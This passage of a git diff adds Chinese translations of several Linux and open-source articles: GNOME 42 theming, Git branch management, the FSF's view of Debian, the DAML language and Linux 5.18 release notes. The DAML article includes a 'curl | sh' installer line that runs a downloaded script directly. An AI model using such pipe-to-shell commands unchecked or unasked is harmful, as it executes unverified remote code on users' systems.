[LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/build_structure_tech_program_code_construction.png +[2]: https://opensource.com/sites/default/files/2022-05/compiler-flowchart.png diff --git a/published/202205/20220520 Customize GNOME 42 with A Polished Look.md b/published/202205/20220520 Customize GNOME 42 with A Polished Look.md new file mode 100644 index 0000000000..7f5fabc586 --- /dev/null +++ b/published/202205/20220520 Customize GNOME 42 with A Polished Look.md @@ -0,0 +1,132 @@ +[#]: subject: "Customize GNOME 42 with A Polished Look" +[#]: via: "https://www.debugpoint.com/2022/05/customize-gnome-42-look-1/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14646-1.html" + +如何把你的 GNOME 42 打磨得更精致 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/28/191525nx791r930j88ra3z.jpg) + +> 在 5 分钟内将你最喜欢的 GNOME 桌面打磨得更精致。 + +你可以使用图标、主题、光标和壁纸等多种方式来定制你最喜爱的 GNOME 桌面。本文向你展示了如何使你的 GNOME 42 桌面看起来更精致。在最近发布的 Ubuntu 22.04 LTS 和 Fedora 36 上提供了 GNOME 42 桌面环境。 + +在你进一步阅读之前,先看看调整之前和之后的外观比较。 + +![GNOME before customisation][1] + +![GNOME after customisation][2] + +我将把本教程分为两个部分。 + +第一部分涉及设置和安装所需的软件包。然后第二部分是如何应用各种设置来获得你想要的外观。 + +本教程主要在 Ubuntu 22.04 LTS 上测试。但是,它应该适用于 Ubuntu 和 Fedora 的其他变体。 + +### 将 GNOME 42 定制得更精致 + +#### 设置 + +首先,为你的系统启用 Flatpak,因为我们需要安装扩展管理器来下载本教程所需的 GNOME Shell 扩展。 + +因此,要做到这一点,请打开一个终端并运行以下命令: + +``` +sudo apt install flatpak gnome-software-plugin-flatpak +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +完成后重启计算机。 + +然后从终端运行以下命令,来安装扩展管理器应用以下载 GNOME Shell 扩展: + +``` +flatpak install flathub com.mattjakeman.ExtensionManager +``` + +打开扩展管理器应用,并安装两个扩展。第一个是 “浮动停靠区Floating Dock”,它提供了超酷的停靠区,你可以在桌面上的任何位置移动它。第二个,安装 “用户主题User themes” 扩展来帮助你在 Ubuntu Linux 中安装外部 GTK 主题。 + +![User Themes Extension][3] + +![Floating Dock Extension][4] + +接着,使用以下命令安装 [Materia 主题][5]。你必须构建它,因为它没有任何可执行文件。在 Ubuntu 中依次运行以下命令进行安装: + +``` +git clone https://github.com/ckissane/materia-theme-transparent.git +cd materia-theme-transparent +meson _build +meson install -C _build +``` + +此外,请从 [这里][7] 下载 [Kora 图标主题][6]。下载后解压文件,将以下四个文件夹复制到 `/home/<用户名>/.icons` 路径下。如果 `.icons` 文件夹不存在,请创建它。 + +![Kora Icon Theme][8] + +除了上述更改,从 [这里][9] 下载 Bibata 光标主题。下载后,解压文件夹并将其复制到相同的 `/home/<用户名>/.icons` 文件夹中。 + +除了上述之外,如果你想要一个与上述主题相匹配的漂亮字体,请从谷歌字体 [下载 Robot 字体][10],并将它们复制到 `/home//.fonts` 文件夹。 + +最后,再次重启系统。 + +#### 配置 + +打开扩展管理器,启用 “浮动停靠区Floating Dock” 和 “用户主题User themes”,并禁用 “Ubuntu Dock”。 + +![Changes to Extensions][11] + +此外,打开 “浮动停靠区Floating Dock” 设置并进行以下更改: + +![Floating Dock Settings][12] + +此外,打开 [GNOME 优化工具][13]GNOME Tweak Tool,然后转到外观Appearance选项卡。设置以下内容: + +* 光标:Bibata-Original-Ice +* Shell 主题:Materia +* 图标:Kora + +除此之外,你可能还想更改字体。为此,请转到字体Fonts选项卡并将文档和界面更改为 “Robot 10pt”。 + +或者,你也可以从 Ubuntu 22.04 的默认设置中更改强调色和样式。 + +最后,根据你的喜好下载漂亮的壁纸。对于本教程,我从 [这里][14] 下载了一个示例壁纸。 + +如果一切顺利,你应该有一个漂亮的桌面,如下图所示: + +![Customize GNOME 42 – Final Look][15] + +享受你的精致的 GNOME 42!干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/customize-gnome-42-look-1/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://i2.wp.com/www.debugpoint.com/wp-content/uploads/2022/05/GNOME-before-customisation.jpg?ssl=1 +[2]: https://i0.wp.com/www.debugpoint.com/wp-content/uploads/2022/05/GNOME-after-customisation.jpg?ssl=1 +[3]: https://www.debugpoint.com/wp-content/uploads/2022/05/User-Themes-Extension2.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/05/Floating-Doc-Extension.jpg +[5]: https://github.com/ckissane/materia-theme-transparent +[6]: https://github.com/bikass/kora/ +[7]: https://github.com/bikass/kora/archive/refs/heads/master.zip +[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/Kora-Icon-Theme.jpg +[9]: https://www.pling.com/p/1197198/ +[10]: https://fonts.google.com/specimen/Roboto +[11]: https://www.debugpoint.com/wp-content/uploads/2022/05/Changes-to-Extensions.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/05/Floating-Dock-Settings.jpg +[13]: https://www.debugpoint.com/2018/05/customize-your-ubuntu-desktop-using-gnome-tweak/ +[14]: https://www.pexels.com/photo/colorful-blurred-image-6985048/ +[15]: https://www.debugpoint.com/wp-content/uploads/2022/05/Customize-GNOME-42-Final-Look.jpg diff --git a/published/202205/20220520 How to rename a branch, delete a branch, and find the author of a branch in Git.md b/published/202205/20220520 How to rename a branch, delete a branch, and find the author of a branch in Git.md new file mode 100644 index 0000000000..cca58c8b10 --- /dev/null +++ b/published/202205/20220520 How to rename a branch, delete a branch, and find the author of a branch in Git.md @@ -0,0 +1,203 @@ +[#]: subject: "How to rename a branch, delete a branch, and find the author of a branch in Git" +[#]: via: "https://opensource.com/article/22/5/git-branch-rename-delete-find-author" +[#]: author: "Agil Antony https://opensource.com/users/agantony" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14635-1.html" + +Git 教程:重命名分支、删除分支、查看分支作者 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/25/161618nt30jqe10nqtlzlj.jpg) + +> 掌握管理本地/远程分支等最常见的 Git 任务。 + +Git 的主要优势之一就是它能够将工作“分叉”到不同的分支中。 + +如果只有你一个人在使用某个存储库,分支的好处是有限的。但是,一旦你开始与许多其他贡献者一起工作,分支就变得必不可少。Git 的分支机制允许多人同时处理一个项目,甚至是同一个文件。用户可以引入不同的功能,彼此独立,然后稍后将更改合并回主分支。那些专门为一个目的创建的分支,有时也被称为主题分支topic branch,例如添加新功能或修复已知错误。 + +当你开始使用分支,了解如何管理它们会很有帮助。以下是开发者在现实世界中使用 Git 分支执行的最常见任务。 + +### 重命名分支 + +有时候,你或许会错误地命名了一个分支,或者你会想要在内容合并到主分支后,使用同一个分支在不同的错误或任务之间切换。在这种情况下,重命名主题分支就会很有帮助。 + +#### 重命名本地分支 + +1、重命名本地分支: + +``` +$ git branch -m +``` + +当然,这只会重命名你的分支副本。如果远程 Git 服务器上存在该分支,请继续执行后续步骤。 + +2、推送这个新分支,从而创建一个新的远程分支: + +``` +$ git push origin +``` + +3、删除旧的远程分支: + +``` +$ git push origin -d -f +``` + +#### 重命名当前分支 + +当你要重命名的分支恰好是当前分支时,你不需要指定旧的分支名称。 + +1、重命名当前分支: + +``` +$ git branch -m +``` + +2、推送新分支,从而创建一个新的远程分支: + +``` +$ git push origin +``` + +3、删除旧的远程分支: + +``` +$ git push origin -d -f +``` + +### 使用 Git 删除本地和远程分支 + +为了保持存储库的整洁,通常建议你在确保已将内容合并到主分支后,删除临时分支。 + +#### 删除本地分支 + +删除本地分支只会删除系统上存在的该分支的副本。如果分支已经被推送到远程存储库,它仍然可供使用该存储库的每个人使用。 + +1、签出存储库的主分支(例如 `main` 或 `master`): + +``` +$ git checkout +``` + +2、列出所有分支(本地和远程): + +``` +$ git branch -a +``` + +3、删除本地分支: + +``` +$ git branch -d +``` + +要删除所有本地主题分支并仅保留 `main` 分支: + +``` +$ git branch | grep -v main | xargs git branch -d +``` + +#### 删除远程分支 + +删除远程分支只会删除远程服务器上存在的该分支的副本。如果你想撤销删除,也可以将其重新推送到远程(例如 GitHub),只要你还有本地副本即可。 + +1、签出存储库的主分支(通常是 `main` 或 `master`): + +``` +$ git checkout +``` + +2、列出所有分支(本地和远程): + +``` +$ git branch -a +``` + +3、删除远程分支: + +``` +$ git push origin -d +``` + +### 查看远程主题分支的作者 + +如果你是存储库管理员,你可能会有这个需求,以便通知未使用分支的作者它将被删除。 + +1、签出存储库的主分支(例如 `main` 或 `master`): + +``` +$ git checkout +``` + +2、删除不存在的远程分支的分支引用: + +``` +$ git remote prune origin +``` + +3、列出存储库中所有远程主题分支的作者,使用 `--format` 选项,并配合特殊的选择器来只打印你想要的信息(在本例中,`%(authorname)` 和 `%(refname)` 分别代表作者名字和分支名称): + +``` +$ git for-each-ref --sort=authordate --format='%(authorname) %(refname)' refs/remotes +``` + +示例输出: + +``` +tux  refs/remotes/origin/dev +agil refs/remotes/origin/main +``` + +你可以添加更多格式,包括颜色编码和字符串操作,以便于阅读: + +``` +$ git for-each-ref --sort=authordate \ + --format='%(color:cyan)%(authordate:format:%m/%d/%Y %I:%M %p)%(align:25,left)%(color:yellow) %(authorname)%(end)%(color:reset)%(refname:strip=3)' \ + refs/remotes +``` + +示例输出: + +``` +01/16/2019 03:18 PM tux      dev +05/15/2022 10:35 PM agil     main +``` + +你可以使用 `grep` 获取特定远程主题分支的作者: + +``` +$ git for-each-ref --sort=authordate \ + --format='%(authorname) %(refname)' \ + refs/remotes | grep +``` + +### 熟练运用分支 + +Git 分支的工作方式存在细微差别,具体取决于你想要分叉代码库的位置、存储库维护者如何管理分支、压扁squashing变基rebasing等。若想进一步了解该主题,你可以阅读下面这三篇文章: + +* [《用乐高来类比解释 Git 分支》][4],作者:Seth Kenlon +* [《我的 Git push 命令的安全使用指南》][5],作者:Noaa Barki +* [《Git 分支指南》][6],作者:Kedar Vijay Kulkarni + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/git-branch-rename-delete-find-author + +作者:[Agil Antony][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/agantony +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/tree-branches.jpg +[2]: https://www.flickr.com/photos/22244945@N00/3353319002 +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/article/22/4/git-branches +[5]: https://opensource.com/article/22/4/git-push +[6]: https://opensource.com/article/18/5/git-branching diff --git a/published/202205/20220521 FSF Does Not Accept Debian as a Free Distribution. Here-s Why!.md b/published/202205/20220521 FSF Does Not Accept Debian as a Free Distribution. Here-s Why!.md new file mode 100644 index 0000000000..6009321e9f --- /dev/null +++ b/published/202205/20220521 FSF Does Not Accept Debian as a Free Distribution. Here-s Why!.md @@ -0,0 +1,67 @@ +[#]: subject: "FSF Does Not Accept Debian as a Free Distribution. Here’s Why!" +[#]: via: "https://news.itsfoss.com/fsf-does-not-consider-debian-a-free-distribution/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14628-1.html" + +自由软件基金会为什么不认为 Debian 是一种自由发行版? +====== + +![Why FSF doesn't consider Debian a free distribution][1] + +Debian 项目开发了一个尊重用户自由的 G​​NU/Linux 发行版。在各种自由软件许可证下发布的软件中,其源代码中包含非自由组件的情形并不鲜见。这些软件在被发布到 Debian 之前会被清理掉。而自由软件基金会Free Software Foundation(FSF)维护着一份 [自由 GNU/Linux 发行版的列表][2],但奇怪的是,Debian 并不在其中。事实上, Debian 不符合进入此列表的某些标准,我们想知道到底不满足哪些标准。但首先,我们需要了解所有这些智力工作是如何得到证明的。换句话说,为什么要费心尝试进入一些名单,尤其是这个名单? + +为什么 Debian 应该得到 FSF 的承认,以获得它的自由发行版的地位?曾于 2010 年至 2013 年担任 Debian 项目负责人的 Stefano Zacchiroli 说过几个原因。其中一个 Stefano 称之为“外部审查”的原因我特别赞同。事实上,Debian 有其标准和质量水准,一些软件应当符合这些标准才能成为该发行版的一部分,但除了 Debian 开发人员自己,没有人能控制这个过程。如果该发行版被列入这份珍贵的清单中,那么 FSF 就会密切关注 Debian 的命运,并(在出现问题时)给予适度的批评。我相信这是很好的动力。如果你也这么认为,那么现在让我们看看 FSF 认为 Debian 不够自由的原因。 + +### Debian 社会契约 + +除了自由 GNU/Linux 发行版列表之外,FSF 还保留了一份因某种原因而被拒绝授予自由地位的 GNU/Linux 发行版的列表。对于此列表中的每个发行版,都有一个评论,简要说明了拒绝的理由。从对 Debian 的评论中可以清楚地看出,FSF 和 Debian 项目在对“自由分发”一词的解释上产生分歧的主要根源来自一份被称为 “Debian 社会契约Debian Social Contract”的文件。 + +该社会契约的第一个版本是在 1997 年 7 月 4 日由第二任 Debian 项目领导人 Bruce Perens 发表的。作为该契约的一部分,也公布了一套被称为 Debian 自由软件准则Debian Free Software Guidelines(DFSG)的规则。从那时起,要成为 Debian 的一部分,分发软件的许可证必须符合 DFSG。该社会契约记录了 Debian 开发者只用自由软件建立操作系统的意图,而 DFSG 则用于将软件分为自由和非自由。2004 年 4 月 26 日,批准了该文件的新版本,取代了 1997 年的版本。 + +Debian 社会契约有五条。要回答我们今天主要讨论的问题,我们只需要关注其中两条 —— 即第一条和第五条,其他的省略。可以在 [此处][3] 查看该契约的完整版本。 + +第一条说:“**Debian 将保持 100% 自由**。我们在标题为‘Debian 自由软件准则Debian Free Software Guidelines’的文件中提供了用于确定一个作品是否‘自由’的准则。我们承诺,根据这些准则,Debian 系统及其所有组件将是自由的。我们将支持在 Debian 上创造或使用自由和非自由作品的人。我们永远不会让系统要求使用非自由组件。” + +同时,第五条写道:“**不符合我们自由软件标准的作品**。我们承认,我们的一些用户需要使用不符合 Debian 自由软件准则的作品。我们在我们的存档中为这些作品创建了“contrib”和“non-free”区域。这些区域中的软件包并不是 Debian 系统的一部分,尽管它们已被配置为可以在 Debian 中使用。我们鼓励 CD 制造商阅读这些区域的软件包的许可证,并确定他们是否可以在其 CD 上分发这些软件包。因此,尽管非自由作品不是 Debian 的一部分,但我们支持它们的使用,并为非自由软件包提供基础设施(例如我们的错误跟踪系统和邮件列表)。” + +因此,在实践中,第一条和第五条意味着:在安装了 Debian 之后,用户得到了一个完全而彻底的自由操作系统,但是如果他们突然想牺牲自由来追求功能,安装非自由软件,Debian 不仅不会阻碍他们这样做,而且会大大简化这一任务。 + +尽管该契约规定发行版将保持 100% 自由,但它允许官方存档的某些部分可能包含非自由软件或依赖于某些非自由组件的自由软件。形式上,根据同一契约,这些部分中的软件不是 Debian 的一部分,但 FSF 对此感到不安,因为这些部分使得在系统上安装非自由软件变得更加容易。 + +在 2011 年前,FSF 有合理的理由不认为 Debian 是自由的——该发行版附带的 Linux 内核没有清理二进制 blob。但自 2011 年 2 月发布的 Squeeze 至今,Debian 已经包含了完全自由的 Linux 内核。因此,简化非自由软件的安装是 FSF 不承认 Debian 是自由发行版的主要原因,直到 2016 年这是我知道的唯一原因,但在 2016 年初出现了问题…… + +### 等等 …… 关 Firefox 什么事? + +很长一段时间,Debian 都包含一个名为 Iceweasel 的浏览器,它只不过是 Firefox 浏览器的更名重塑而已。进行品牌重塑有两个原因:首先,该浏览器标志和名称是 Mozilla 基金会的商标,而提供非自由软件与 DFSG 相抵触。其次,通过在发行版中包含浏览器,Debian 开发人员必须遵守 Mozilla 基金会的要求,该基金会禁止以 Firefox 的名义交付浏览器的修改版本。因此,开发人员不得不更改名称,因为他们在不断地修改浏览器的代码,以修复错误并消除漏洞。但在 2016 年初,Debian 有幸拥有一款经过修改的 Firefox 浏览器,不受上述限制,可以保留原来的名称和徽标。一方面,这是对 Debian 修改的认可,也是对 Debian 信任的体现。另一方面,该软件显然没有清除非自由组件,它现在已成为发行版的一部分。如果此时 Debian 已被列入自由 GNU/Linux 发行版列表,那么自由软件基金会将会毫不犹豫地指出这一点。 + +### 结论 + +数字世界中的自由与现实世界中的自由同样重要。在这篇文章中,我试图揭示 Debian 最重要的特性之一 —— 开发用户自由的发行版。开发人员花费额外的时间从软件中清理非自由组件,并且以 Debian 为技术基础的数十个发行版继承了它的工作,并由此获得了一部分自由。 + +另外,我想分享一个简单的看法,即自由并不像乍看起来那么简单,人们自然会去追问什么是真正的自由,而什么不是。由于 Firefox 的存在,Debian 现在不能被称为自由的 GNU/Linux 发行版。但从 2011 年,当 Debian 终于开始清理内核以及发行版的其他组件时,直到 2016 年 Firefox 成为发行版的一部分时,自由软件基金会出于纯粹的意识形态原因并不认为该发行版是自由的:原因是 Debian 大大简化了非自由软件的安装……现在轮到你来权衡所有的争论,并决定是否将 GNU/Linux 发行版视为自由的了。 + +祝你好运!并尽可能保持自由。 + +由 Evgeny Golyshev 为 [Cusdeb.com][4] 撰写 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fsf-does-not-consider-debian-a-free-distribution/ + +作者:[Evgeny Golyshev][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/why-fsf-doesnt-consider-debian-a-free-software-1200-%C3%97-675px.png +[2]: https://gnu.org/distros/free-distros.en.html +[3]: https://debian.org/social_contract +[4]: https://wiki.cusdeb.com/Essays:Why_the_FSF_does_not_consider_Debian_as_a_free_distribution/en diff --git a/published/202205/20220523 DAML- The Programming Language for Smart Contracts in a Blockchain.md b/published/202205/20220523 DAML- The Programming Language for Smart Contracts in a Blockchain.md new file mode 100644 index 0000000000..c333cb5a81 --- /dev/null +++ b/published/202205/20220523 DAML- The Programming Language for Smart Contracts in a Blockchain.md @@ -0,0 +1,143 @@ +[#]: subject: "DAML: The Programming Language for Smart Contracts in a Blockchain" +[#]: via: "https://www.opensourceforu.com/2022/05/daml-the-programming-language-for-smart-contracts-in-a-blockchain/" +[#]: author: "Dr Kumar Gaurav https://www.opensourceforu.com/author/dr-gaurav-kumar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14649-1.html" + +DAML:区块链中智能合约的编程语言 +====== + +> DAML 智能合约语言是一种专门设计的特定领域语言domain specific language(DSL),用于编码应用的共享业务逻辑。它用于区块链环境中分布式应用的开发和部署。 + +![](https://img.linux.net.cn/data/attachment/album/202205/29/090752supudcno3dufa41j.jpg) + +区块链技术是一种安全机制,以一种使人难以或不可能修改或入侵的方式来跟踪信息。区块链整合了交易的数字账本,它被复制并发送至其网络上的每台计算机。在链的每个区块中,都有一些交易。当区块链上发生新的交易时,该交易的记录就会被添加到属于该链的每个人的账簿中。 + +区块链使用分布式账本技术distributed ledger technology(DLT),其中数据库并不保存在一个服务器或节点中。在区块链中,交易被记录在一个被称为哈希hash的不可改变的加密符号中。这意味着,如果一个通道或链上的一个区块被改变,黑客将很难改变链上的那个区块,因为他们必须对外面的每一个版本的链都要这样做。区块链,如比特币和以太坊,随着新的区块被添加到链上而不断增长,这使得账本更加安全。 + +随着区块链中智能合约的实施,在没有任何人工干预的情况下,有了自动执行的场景。智能合约技术使得执行最高级别的安全、隐私和反黑客实施成为可能。 + +![Figure 1: Market size of blockchain technology (Source: Statista.com)][2] + +区块链的用例和应用是: + +* 加密货币 +* 智能合约 +* 安全的个人信息 +* 数字健康记录 +* 电子政务 +* 不可伪造的代币(NFT) +* 游戏 +* 跨境金融交易 +* 数字投票 +* 供应链管理 + +根据 Statista.com,自过去几年以来,区块链技术市场的规模正在以非常快的速度增长,预计到 2025 年将达到 400 亿美元。 + +### 区块链的编程语言和工具箱 + +有许多编程语言和开发工具包可用于分布式应用和智能合约。区块链的编程和脚本语言包括 Solidity、Java、Vyper、Serpent、Python、JavaScript、GoLang、PHP、C++、Ruby、Rust、Erlang 等,并根据实施场景和用例进行使用。 + +选择一个合适的平台来开发和部署区块链,取决于一系列因素,包括对安全、隐私、交易速度和可扩展性的需求(图 2)。 + +![Figure 2: Factors to look at when selecting a blockchain platform][3] + +开发区块链的主要平台有: + +* 以太坊 +* XDC Network +* Tezos +* Stellar +* Hyperledger +* Ripple +* Hedera Hashgraph +* Quorum +* Corda +* NEO +* OpenChain +* EOS +* Dragonchain +* Monero + +### DAML:一种高性能的编程语言 + +数字资产建模语言Digital Asset Modeling Language,即 DAML(daml.com),是一种高性能的编程语言,用于开发和部署区块链环境中的分布式应用。它是一个轻量级和简洁的平台,用于快速应用开发。 + +![Figure 3: Official portal of DAML][4] + +DAML 的主要特点是: + +* 细粒度的权限 +* 基于场景的测试 +* 数据模型 +* 业务逻辑 +* 确定性的执行 +* 存储抽象化 +* 无重复开销 +* 负责任的跟踪 +* 原子的可组合性 +* 授权检查 +* 需要知道的隐私 + +### 安装和使用 DAML + +DAML SDK 可以安装在 Linux、macOS 或 Windows 上。在多个操作系统上安装 DAML 的详细说明可访问 https://docs.daml.com/getting-started/installation.html 。 + +你必须具备以下条件才能使用 DAML: + +* Visual Studio Code +* Java 开发套件(JDK) + +DAML 可以通过下载并运行可执行的安装程序在 Windows 上安装,你可访问 https://github.com/digital-asset/daml/releases/download/v1.18.1/daml-sdk-1.18.1-windows.exe 。 + +在 Linux 或 Mac 上安装 DAML 可以通过在终端执行以下内容来完成: + +``` +$ curl -sSL https://get.daml.com/ | sh +``` + +安装 DAML 后,可以创建基于区块链的新应用,如图 4 和 5 所示。 + +![Figure 4: Creating a new app][5] + +在另一个终端中,新的应用被导航并安装了项目的依赖: + +![Figure 5: Running DAML][6] + +``` +WorkingDirectory>cd myapp/ui +WorkingDirectory>npm install +WorkingDirectory>npm start +``` + +这样启动了 WebUI,该应用可在 Web 浏览器上通过 URL http://localhost:3000/ 访问。 + +![Figure 6: Login panel in DAML app][7] + +### 研究和开发的范围 + +区块链技术为不同类别的应用提供了广泛的开发平台和框架。其中许多平台是免费和开源的,可以下载和部署以用于基于研究的实现。研究学者、从业者和专家们可以使用这些平台为众多应用提出和实施他们的算法。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/daml-the-programming-language-for-smart-contracts-in-a-blockchain/ + +作者:[Dr Kumar Gaurav][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dr-gaurav-kumar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/blockchain-hand-shake.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Market-size-of-blockchain-technology.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Untitled.png +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Official-portal-of-DAML-1.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Creating-a-new-app.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Running-DAML.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Login-panel-in-DAML-app.jpg diff --git a/published/202205/20220523 Linux Kernel 5.18 Released with Graphics Driver Changes and New Hardware Support.md b/published/202205/20220523 Linux Kernel 5.18 Released with Graphics Driver Changes and New Hardware Support.md new file mode 100644 index 0000000000..1cc8ffd93f --- /dev/null +++ b/published/202205/20220523 Linux Kernel 5.18 Released with Graphics Driver Changes and New Hardware Support.md @@ -0,0 +1,135 @@ +[#]: subject: "Linux Kernel 5.18 Released with Graphics Driver Changes and New Hardware Support" +[#]: via: "https://news.itsfoss.com/linux-kernel-5-18-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14640-1.html" + +Linux 内核 5.18 版本正式发布,新增显卡驱动以及硬件支持 +====== + +> 最新的 Linux 内核 5.18 版本现已如期发布,本次更新包括针对新硬件的支持以及许多其他核心变化。 + +![Linux kernel 5.18 release][1] + +[Linux 5.17 内核][2] 发布时包含了对下一代硬件的支持,同时增强了 Steam Deck 的游戏体验。 + +每一代内核都包含了令人兴奋的技术进步,Linux 内核 5.18 也不例外。 + +### Linux 内核 5.18 有哪些变化呢? + +本次我们可以看到,内核针对雷蛇外设硬件、苹果妙控键盘和 AMD 显卡增强了支持,还有一些网络、核心和安全方面的更新。 + +#### 新的雷蛇驱动 + +说到游戏装备,Linux 的硬件支持亟待更新。 + +目前存在一些开源驱动程序的变通解决方案。但是这些方案不具有普适性,适配和支持较少。 + +正如 [Phoronix][3] 所发现的,Linux 内核 5.18 中一同发布了一个新的雷蛇 HID 驱动程序,它适配了雷蛇黑寡妇蜘蛛键盘,并修复了宏键此前存在的问题。 + +此外,这个驱动程序应该也有助于解决其他雷蛇硬件的问题。 + +#### AMD 显卡特性 FreeSync 模式被默认开启 + +![][4] + +虽然对 FreeSync 视频的支持足够好,但这只是改善 FreeSync 显示器用户体验的一个临时解决方案。 + +现在在 Linux 内核 5.18 版本中这一显示模式已被默认启用,用户无需调整任何设置即可使用 FreeSync([见更新日志][5])。 + +#### 显卡驱动更新 + +针对当前和未来的 AMD 显卡的驱动进行了改进。此外,支持英特尔 Arch 图形处理器和英特尔 Alder Lake N 的工作也取得了一些进展。 + +更高刷新率的 DisplayPort 也在这一个版本中得到支持。 + +#### 从 C89 标准升级到 C11 标准(GNU11) + +![][6] + +在 Linux 内核中使用的是 C89 C 语言标准,在当前已经稍显老旧并且缺失了许多十分必要的新特性。 + +考虑到目前的编译器版本 GCC 5.1 的要求,从 Linux 内核 5.18 开始决定用 C11 标准来取代它。 + +#### 网络优化 + +Linux 内核 5.18 增加了对新的无线硬件的支持,这包括联发科 MT7916、MT7921U 和博通 BCM43454/6。 + +![][7] + +针对移动设备的改进也包括对英特尔 M.2 WWAN 卡的支持。 + +Realtek W89 驱动现在支持 AP 模式、6GHz 频段并增加了硬件扫描功能。 + +在配置 IPv6 和其他各种协议方面,通过一系列的改进提升了性能。 + +你可以在 Linux 内核 5.18 中网络方面的变更提交中了解所有情况(包括对驱动 API、协议和一些核心功能的改进)。 + +#### USB 改进 + +Xen USB 驱动程序进行了改进,以抵御恶意主设备,USB DWC3 驱动程序也支持了更多的硬件类型。 + +其他改进详见 [更新日志][8]。 + +#### 增强对苹果键盘以及平板的支持 + +![][9] + +当前版本针对苹果妙控键盘(包含第一代型号)的使用体验进行了优化。 + +改进了功能键映射、键盘背光事件,以及 2021 款的妙控键盘通过 USB 连接时报告电池水平的能力。 + +Linux 内核 5.18 改进了输入处理,在平板电脑上输入将变得更为容易。 + +硬件相关的改进详见 [更新日志][10]。 + +#### ARM 架构芯片的支持(特斯拉 FSD,树莓派 Zero 2 W) + +![][11] + +Linux 内核 5.18 现在支持特斯拉的全套自动驾驶 SoC。三星工程师将其贡献到了 Linux 内核上游。 + +其他芯片支持包括高通骁龙 625/632,以及三星 Exynos 850/7885。 + +你还会发现 Linux 内核 5.18 支持了树莓派 Zero 2 W,而同时去除了旧的硬件/主板的支持。详见 [更新日志][12]。 + +你可以参考 [官方更新日志][13] 和 Linus Torvald 的官方公告获取更多信息。 + +### 如何安装 Linux 内核 5.18? + +你可以在 [Linux Kernel Archives][14] 网站上找到最新版本的内核。你可以下载 [Tarball][15] 以进行测试。你也可以参照我们的 [Linux 内核升级指南][16] 获取帮助。 + +如果不想自己编译它,你可以稍等几周,等 Linux 发行版们把它推到仓库。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-kernel-5-18-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/kernel-5-18-release.png +[2]: https://news.itsfoss.com/linux-kernel-5-17-release/ +[3]: https://www.phoronix.com/scan.php?page=news_item&px=Linux-5.18-HID +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/amd-linux-5-18-1024x576.jpg +[5]: https://lists.freedesktop.org/archives/amd-gfx/2022-February/075262.html +[6]: 